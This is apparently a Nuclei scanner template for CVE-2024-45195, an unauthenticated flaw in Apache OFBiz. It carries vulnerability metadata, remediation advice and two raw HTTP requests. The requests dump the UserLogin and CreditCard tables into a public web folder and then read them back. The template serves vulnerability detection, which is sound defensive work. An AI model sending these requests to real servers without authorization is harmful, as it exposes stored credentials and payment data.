CVE-2024-45195: Apache OFBiz - Remote Code Execution

id: CVE-2024-45195

info:
  name: Apache OFBiz - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: |
    Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
  remediation: |
    Users are recommended to upgrade to version 18.12.16, which fixes the issue.
  reference:
    - https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
    - https://ofbiz.apache.org/download.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45195
    cwe-id: CWE-425
    epss-score: 0.9413
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    vendor: apache
    product: ofbiz
    shodan-query:
      - ofbiz.visitor=
      - http.html:"ofbiz"
    fofa-query:
      - app="apache_ofbiz"
      - body="ofbiz"
  tags: cve,cve2024,apache,ofbiz,rce,instrusive,kev,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename={{filename}}.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard

      - |
        GET /common/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<?xml version="
          - "entity-engine-xml"
        condition: and

      - type: word
        part: content_type_2
        words:
          - "text/plain"
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